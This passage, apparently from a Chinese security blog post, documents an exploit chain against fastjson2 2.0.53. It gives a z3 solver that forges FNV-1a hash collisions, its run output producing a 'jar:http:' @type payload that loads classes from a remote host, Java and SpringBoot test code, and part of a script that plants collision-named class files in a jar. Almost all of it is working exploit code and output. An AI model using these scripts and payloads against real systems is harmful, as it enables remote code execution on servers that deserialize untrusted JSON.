- BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价
- 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00],
Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致.
"</span><span class="hljs-string">""</span>
b = s.encode(<span class="hljs-string">'utf-16-be'</span>)
return [int.from_bytes(b[i:i+2], <span class="hljs-string">'big'</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(0, len(b), 2)]
def fnv1a_hash(s):
<span class="hljs-string">""</span><span class="hljs-string">"计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"</span><span class="hljs-string">""</span>
h = OFFSET
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> to_java_chars(s):
h ^= ch
h = (h * PRIME) &amp; 0xFFFFFFFFFFFFFFFF
return h
def fnv1a_prefix_state(prefix):
<span class="hljs-string">""</span><span class="hljs-string">"
计算 prefix 参与 FNV-1a 后的起始 hash 状态.
返回 (h_start, prefix_chars, prefix_has_high_char):
h_start : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点)
prefix_chars : prefix 的 Java char 序列
prefix_has_high_char : prefix 是否含 &gt;255 的 char (影响 FNV-1a 触发判断)
"</span><span class="hljs-string">""</span>
chars = to_java_chars(prefix)
h = OFFSET
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> chars:
h ^= ch
h = (h * PRIME) &amp; 0xFFFFFFFFFFFFFFFF
has_high = any(ch &gt; 255 <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> chars)
return h, chars, has_high
def solve(target_hash, <span class="hljs-attribute">num_chars</span>=5, <span class="hljs-attribute">min_char</span>=256, <span class="hljs-attribute">max_char</span>=65535, <span class="hljs-attribute">prefix</span>=<span class="hljs-string">''</span>):
<span class="hljs-string">""</span><span class="hljs-string">"
用 z3 求 N 字符碰撞 (支持已知前缀)
target_hash: 目标 hash (有符号 long)
num_chars: 未知字符数 (不含 prefix)
min_char: 字符最小值 (256 确保触发 FNV-1a)
max_char: 字符最大值 (65535 = Java char 上限)
prefix: 已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash
求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash
"</span><span class="hljs-string">""</span>
target_unsigned = to_unsigned(target_hash)
# ★ 关键: 先把<span class="hljs-built_in"> prefix </span>跑一遍 FNV-1a, 得到起始 hash
#<span class="hljs-built_in"> prefix </span>是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量
h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
# 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量)
c = [BitVec(f<span class="hljs-string">'c{i}'</span>, 64) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]
# FNV-1a 计算 (从<span class="hljs-built_in"> prefix </span>处理后的 h_start 继续)
h = BitVecVal(h_start, 64)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars):
h = (h ^ c[i]) * BitVecVal(PRIME, 64)
# 求解器
s = Solver()
s.<span class="hljs-built_in">add</span>(h == BitVecVal(target_unsigned, 64))
# 字符范围约束
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars):
s.<span class="hljs-built_in">add</span>(c[i] &gt;= min_char)
s.<span class="hljs-built_in">add</span>(c[i] &lt;= max_char)
# ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
# 这些码点专用于 UTF-16 编码,不能作为独立字符
# Python chr() 能产生但 <span class="hljs-built_in">print</span> 时 UTF-8 不允许
s.<span class="hljs-built_in">add</span>(<span class="hljs-keyword">Or</span>(c[i] &lt; 0xD800, c[i] &gt; 0xDFFF))
# FNV-1a 触发条件检查 (考虑 prefix)
# fastjson2: 字符串长度 &gt; 8 或任一 char &gt; 255 -&gt; 走 FNV-1a
prefix_java_len = len(prefix_chars)
total_len = prefix_java_len + num_chars
# 只有当总长度 &lt;=8 且<span class="hljs-built_in"> prefix </span>没有高字符 且 字符范围含 &lt;=255 时,
# 才需要强制至少一个未知字符 &gt;255 (确保走 FNV-1a 而非短字符串优化)
<span class="hljs-keyword">if</span> min_char &lt;= 255 <span class="hljs-keyword">and</span> total_len &lt;= 8 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> prefix_has_high:
s.<span class="hljs-built_in">add</span>(<span class="hljs-keyword">Or</span>([c[i] &gt; 255 <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]))
# 求解
result = s.check()
<span class="hljs-keyword">if</span> result == sat:
m = s.model()
return [m[c[i]].as_long() <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]
return None
def main():
parser = argparse.ArgumentParser(
<span class="hljs-attribute">description</span>=<span class="hljs-string">'FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀'</span>,
<span class="hljs-attribute">formatter_class</span>=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(<span class="hljs-string">'target_hash'</span>, <span class="hljs-attribute">type</span>=str,
<span class="hljs-attribute">help</span>=<span class="hljs-string">'目标 hash (十进制可负 / 0x十六进制)'</span>)
parser.add_argument(<span class="hljs-string">'num_chars'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=5,
<span class="hljs-attribute">help</span>=<span class="hljs-string">'未知字符数 (默认 5, 不含 prefix)'</span>)
parser.add_argument(<span class="hljs-string">'min_char'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=256,
<span class="hljs-attribute">help</span>=<span class="hljs-string">'字符最小值 (默认 256)'</span>)
parser.add_argument(<span class="hljs-string">'max_char'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=65535,
<span class="hljs-attribute">help</span>=<span class="hljs-string">'字符最大值 (默认 65535)'</span>)
parser.add_argument(<span class="hljs-string">'--prefix'</span>, <span class="hljs-attribute">type</span>=str, <span class="hljs-attribute">default</span>=<span class="hljs-string">''</span>,
<span class="hljs-attribute">help</span>=<span class="hljs-string">'已知前缀字符串, 先参与 FNV-1a 再求解未知字符'</span>)
args = parser.parse_args()
target_hash = parse_hash(args.target_hash)
num_chars = args.num_chars
min_char = args.min_char
max_char = args.max_char
<span class="hljs-built_in"> prefix </span>= args.prefix
# 预计算<span class="hljs-built_in"> prefix </span>状态 (用于显示)
h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
prefix_java_len = len(prefix_chars)
total_len = prefix_java_len + num_chars
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" FNV-1a 64 位哈希碰撞求解器 (z3)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (有符号): {target_hash}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (无符号): {to_unsigned(target_hash)}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知字符数: {num_chars}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 字符范围: [{min_char}, {max_char}]"</span>)
<span class="hljs-keyword">if</span> prefix:
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 已知前缀: \"{prefix_display}\""</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀长度: {prefix_java_len} Java char(s)"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀含 &gt;255 字符: {'是' if prefix_has_high else '否'}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀处理后起始 hash: 0x{h_start:016x}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" (原始 OFFSET: 0x{OFFSET:016x})"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 总字符串长度: {total_len} Java char(s)"</span>)
<span class="hljs-keyword">if</span> min_char &lt;= 255 <span class="hljs-keyword">and</span> total_len &lt;= 8 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> prefix_has_high:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ⚠ 总长度 &lt;=8 且范围含 &lt;=255, 会强制至少一个未知字符 &gt;255 (走 FNV-1a)"</span>)
<span class="hljs-built_in">print</span>()
# 求解
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 求解中..."</span>)
start = time.time()
result = solve(target_hash, num_chars, min_char, max_char, prefix)
elapsed = time.time() - start
<span class="hljs-keyword">if</span> result is None:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 可能原因:"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. 输入空间太小 (字符数 × 位宽 &lt; 64)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. z3 求解超时 (尝试减少字符数)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 真的无解 (极少见)"</span>)
return
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ✓ 找到解! 耗时 {elapsed:.2f}s"</span>)
<span class="hljs-built_in">print</span>()
# 构造碰撞字符串 (只有未知部分)
collision_str = <span class="hljs-string">''</span>.join(chr(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
# 完整字符串 =<span class="hljs-built_in"> prefix </span>+ 未知部分
full_str =<span class="hljs-built_in"> prefix </span>+ collision_str
# 验证: 完整字符串的 FNV-1a hash 应该等于目标
actual_hash = fnv1a_hash(full_str)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 碰撞结果"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 原始目标 hash: 0x{to_unsigned(target_hash):016x}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 完整字符串 hash: 0x{to_unsigned(actual_hash):016x}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-keyword">if</span> prefix:
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 已知前缀: \"{prefix_display}\""</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 Code Points: {result}"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}"</span>)
safe_str = collision_str.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分字符串: \"{safe_str}\""</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 使用提示"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
<span class="hljs-built_in">print</span>()
# Java 形式:<span class="hljs-built_in"> prefix </span>用 Unicode 转义 + 未知部分用 Unicode 转义
prefix_unicode = <span class="hljs-string">''</span>.join(f<span class="hljs-string">'\\u{ch:04x}'</span> <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> prefix_chars)
unknown_unicode = <span class="hljs-string">''</span>.join(f<span class="hljs-string">'\\u{c:04x}'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
<span class="hljs-keyword">if</span> prefix:
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{prefix_unicode}{unknown_unicode}";'</span>)
<span class="hljs-built_in">print</span>()
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{prefix_display}" + "{unknown_unicode}";'</span>)
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (用 Unicode 转义):"</span>)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{unknown_unicode}";'</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 这个字符串的 FNV-1a hash 等于目标 hash"</span>)
<span class="hljs-keyword">if</span> min_char &gt; 255:
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 4. 每个未知字符 &gt; 255, 确保走 FNV-1a 分支 (非短字符串优化)"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
main()
</code></pre><p>生成远程加载的 payload:</p>
<pre><code>heihu577 @ <span class="hljs-symbol">~/Desktop</span> python fnv_collision.py <span class="hljs-operator">-</span>-prefix <span class="hljs-string">"jar:http:..2887610369.2333.Hello<span class="hljs-char escape_">\!</span>.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span>
════════════════════════════════════════════════════════════════
FNV-<span class="hljs-number">1</span>a <span class="hljs-number">64</span> 位哈希碰撞求解器 (z3)
════════════════════════════════════════════════════════════════
目标 hash (有符号): <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span>
目标 hash (无符号): <span class="hljs-number">12153712539119647972</span>
目标 hash (十六进制): <span class="hljs-number">0</span>xa8aaa929446ffce4
未知字符数: <span class="hljs-number">5</span>
字符范围: [<span class="hljs-number">256</span>, <span class="hljs-number">65535</span>]
已知前缀: <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span>
前缀长度: <span class="hljs-number">39</span> Java char(s)
前缀含 <span class="hljs-operator">&gt;</span><span class="hljs-number">255</span> 字符: 否
前缀处理后起始 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>x3acee6a3e7fcfdce
(原始 <span class="hljs-params">OFFSET:</span> <span class="hljs-number">0</span>xcbf29ce484222325)
总字符串长度: <span class="hljs-number">44</span> Java char(s)
求解中...
✓ 找到解<span class="hljs-operator">!</span> 耗时 <span class="hljs-number">0.19</span>s
────────────────────────────────────────────────────────────────
碰撞结果
────────────────────────────────────────────────────────────────
原始目标 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>xa8aaa929446ffce4
完整字符串 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>xa8aaa929446ffce4
匹配: ✓
已知前缀: <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span>
未知部分 Code <span class="hljs-params">Points:</span> [<span class="hljs-number">16676</span>, <span class="hljs-number">4874</span>, <span class="hljs-number">30874</span>, <span class="hljs-number">19441</span>, <span class="hljs-number">64757</span>]
未知部分 十六进制: [<span class="hljs-number">0</span>x4124, <span class="hljs-number">0</span>x130a, <span class="hljs-number">0</span>x789a, <span class="hljs-number">0</span>x4bf1, <span class="hljs-number">0</span>xfcf5]
未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5
未知部分字符串: <span class="hljs-string">"䄤ጊ碚䯱ﳵ"</span>
────────────────────────────────────────────────────────────────
使用提示
────────────────────────────────────────────────────────────────
<span class="hljs-number">1</span>. Java 中使用 (prefix <span class="hljs-operator">+</span> 未知部分, 全 Unicode 转义):
String s <span class="hljs-operator">=</span> <span class="hljs-string">"<span class="hljs-char escape_">\u</span>006a<span class="hljs-char escape_">\u</span>0061<span class="hljs-char escape_">\u</span>0072<span class="hljs-char escape_">\u</span>003a<span class="hljs-char escape_">\u</span>0068<span class="hljs-char escape_">\u</span>0074<span class="hljs-char escape_">\u</span>0074<span class="hljs-char escape_">\u</span>0070<span class="hljs-char escape_">\u</span>003a<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0032<span class="hljs-char escape_">\u</span>0038<span class="hljs-char escape_">\u</span>0038<span class="hljs-char escape_">\u</span>0037<span class="hljs-char escape_">\u</span>0036<span class="hljs-char escape_">\u</span>0031<span class="hljs-char escape_">\u</span>0030<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0036<span class="hljs-char escape_">\u</span>0039<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0032<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0048<span class="hljs-char escape_">\u</span>0065<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006f<span class="hljs-char escape_">\u</span>0021<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0048<span class="hljs-char escape_">\u</span>0065<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006f<span class="hljs-char escape_">\u</span>4124<span class="hljs-char escape_">\u</span>130a<span class="hljs-char escape_">\u</span>789a<span class="hljs-char escape_">\u</span>4bf1<span class="hljs-char escape_">\u</span>fcf5"</span>;
<span class="hljs-number">2</span>. 或者 prefix 用字面量, 未知部分用 Unicode 转义:
String s <span class="hljs-operator">=</span> <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span> <span class="hljs-operator">+</span> <span class="hljs-string">"<span class="hljs-char escape_">\u</span>4124<span class="hljs-char escape_">\u</span>130a<span class="hljs-char escape_">\u</span>789a<span class="hljs-char escape_">\u</span>4bf1<span class="hljs-char escape_">\u</span>fcf5"</span>;
long hash <span class="hljs-operator">=</span> com.alibaba.fastjson2.util.Fnv.hashCode64(s);
<span class="hljs-number">3</span>. 这个字符串的 FNV-<span class="hljs-number">1</span>a hash 等于目标 hash
<span class="hljs-number">4</span>. 每个未知字符 <span class="hljs-operator">&gt;</span> <span class="hljs-number">255</span>, 确保走 FNV-<span class="hljs-number">1</span>a 分支 (非短字符串优化)
════════════════════════════════════════════════════════════════
</code></pre><p>该 payload 能成功走向 loadClass 逻辑:</p>
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Object</span>.<span class="hljs-property">class</span>);
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
</code></pre><p>最终结果:</p>
<p><img src="https://i.ibb.co/JFb9GtS1/fe174e1c7c09.png" alt="a7b4dea2-5b46-47c9-be42-46622c245c6a.png"></p>
<h2>SpringBoot 中测试</h2>
<p>在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.</p>
<h3>fnv 计算步骤</h3>
<p>另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:</p>
<pre><code><span class="hljs-attribute">jar</span>:http:..<span class="hljs-number">2887610369</span>:<span class="hljs-number">2333</span>.Hello!.Hello
</code></pre><p>原封不动的将其丢到 fnv 计算器中:</p>
<p><img src="https://i.ibb.co/pBcV5ZhY/b3c139ef515f.png" alt="b5d4f583-9b49-47bc-bbd7-b508246c966e.png"></p>
<p>生成结果为:</p>
<pre><code>jar:http:..2887610369:2333.Hello!.Hello<span class="hljs-symbol">\ue94c</span><span class="hljs-symbol">\uc17c</span><span class="hljs-symbol">\uf770</span><span class="hljs-symbol">\ua803</span><span class="hljs-symbol">\uc0d3</span>
</code></pre><h3>驻留 jar 步骤</h3>
<p>若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\ue94c\uc17c\uf770\ua803\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:</p>
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">"""
JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用
功能:
将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入
fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目.
这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值,
实际加载的却是新条目 (内容与原 class 一致).
用法:
python3 jar_collision_copy.py &lt;JAR文件&gt; &lt;原class文件名&gt; &lt;unicode转义串&gt;
参数:
JAR文件 : 要修改的 JAR/ZIP 文件路径
原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class)
unicode 转义串 : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出)
★ 请用单引号包裹, 避免 shell 解释 \\u
示例:
python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3'
# 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u)
python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓"
工作流程:
1. 读取 JAR, 找到原 class 条目, 缓存其内容
2. 解析 unicode 转义串 (\\uXXXX -&gt; 实际字符)
3. 构造新条目名: &lt;原文件名去扩展名&gt; + &lt;解码字符&gt; + &lt;扩展名&gt;
例: Hello.class + \\ue94c... -&gt; Hello\\ue94c... uc17c... .class
4. 创建临时 JAR, 复制所有原条目 + 追加新条目
5. 用临时 JAR 替换原 JAR
6. 验证新条目存在且内容与原条目一致
"""</span>
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> shutil
<span class="hljs-keyword">import</span> zipfile
<span class="hljs-keyword">import</span> tempfile
<span class="hljs-keyword">def</span> <span class="hljs-title function_">decode_unicode_escapes</span>(<span class="hljs-params">s</span>):
<span class="hljs-string">"""
将 \\uXXXX 格式的字符串解码为实际 unicode 字符.
支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -&gt; "Hello世界"
若传入的已是实际字符 (无 \\u 转义), 原样返回.
"""</span>
pattern = re.<span class="hljs-built_in">compile</span>(<span class="hljs-string">r'\\u([0-9a-fA-F]{4})'</span>)
<span class="hljs-keyword">return</span> pattern.sub(<span class="hljs-keyword">lambda</span> m: <span class="hljs-built_in">chr</span>(<span class="hljs-built_in">int</span>(m.group(<span class="hljs-number">1</span>), <span class="hljs-number">16</span>)), s)
<span class="hljs-keyword">def</span> <span class="hljs-title function_">split_extension</span>(<span class="hljs-params">name</span>):
<span class="hljs-string">"""
分离条目名的主体和扩展名.
Hello.class -&gt; ('Hello', '.class')
com/foo/Bar.class -&gt; ('com/foo/Bar', '.class')
Hello -&gt; ('Hello', '')
"""</span>
idx = name.rfind(<span class="hljs-string">'.'</span>)
<span class="hljs-comment"># 排除路径中的点 (如 com.foo/Bar 中的第一个点)</span>
<span class="hljs-comment"># 只认最后一个点, 且该点后面不是路径分隔符</span>
<span class="hljs-keyword">if</span> idx &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> name[idx:]:
<span class="hljs-keyword">return</span> name[:idx], name[idx:]
<span class="hljs-keyword">return</span> name, <span class="hljs-string">''</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) != <span class="hljs-number">4</span>:
<span class="hljs-built_in">print</span>(__doc__)
sys.exit(<span class="hljs-number">1</span>)
jar_path = sys.argv[<span class="hljs-number">1</span>]
original_class = sys.argv[<span class="hljs-number">2</span>]
unicode_str = sys.argv[<span class="hljs-number">3</span>]
<span class="hljs-comment"># 解码 unicode 转义</span>
decoded = decode_unicode_escapes(unicode_str)
<span class="hljs-comment"># 分离原 class 文件名和扩展名</span>
base_name, ext = split_extension(original_class)
<span class="hljs-comment"># 构造新条目名: base_name + decoded + ext</span>
new_entry_name = base_name + decoded + ext
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" JAR 碰撞条目复制工具"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" JAR 文件: <span class="hljs-subst">{jar_path}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原 class 条目: <span class="hljs-subst">{original_class}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Unicode 输入: <span class="hljs-subst">{unicode_str}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后字符: <span class="hljs-subst">{<span class="hljs-built_in">repr</span>(decoded)}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后 Unicode: <span class="hljs-subst">{<span class="hljs-string">''</span>.join(<span class="hljs-built_in">chr</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> [<span class="hljs-built_in">ord</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> decoded])!r}</span>"</span>)
decoded_unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> decoded)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后转义形式: <span class="hljs-subst">{decoded_unicode_repr}</span>"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 新条目名: <span class="hljs-subst">{<span class="hljs-built_in">repr</span>(new_entry_name)}</span>"</span>)
new_unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> new_entry_name)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 新条目 Unicode: <span class="hljs-subst">{new_unicode_repr}</span>"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-comment"># 检查 JAR 文件</span>
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(jar_path):
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ JAR 文件不存在: <span class="hljs-subst">{jar_path}</span>"</span>)
sys.exit(<span class="hljs-number">1</span>)
<span class="hljs-comment"># 读取原 class 内容并检查</span>
<span class="hljs-keyword">try</span>:
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> zf:
names = zf.namelist()
<span class="hljs-keyword">if</span> original_class <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> names:
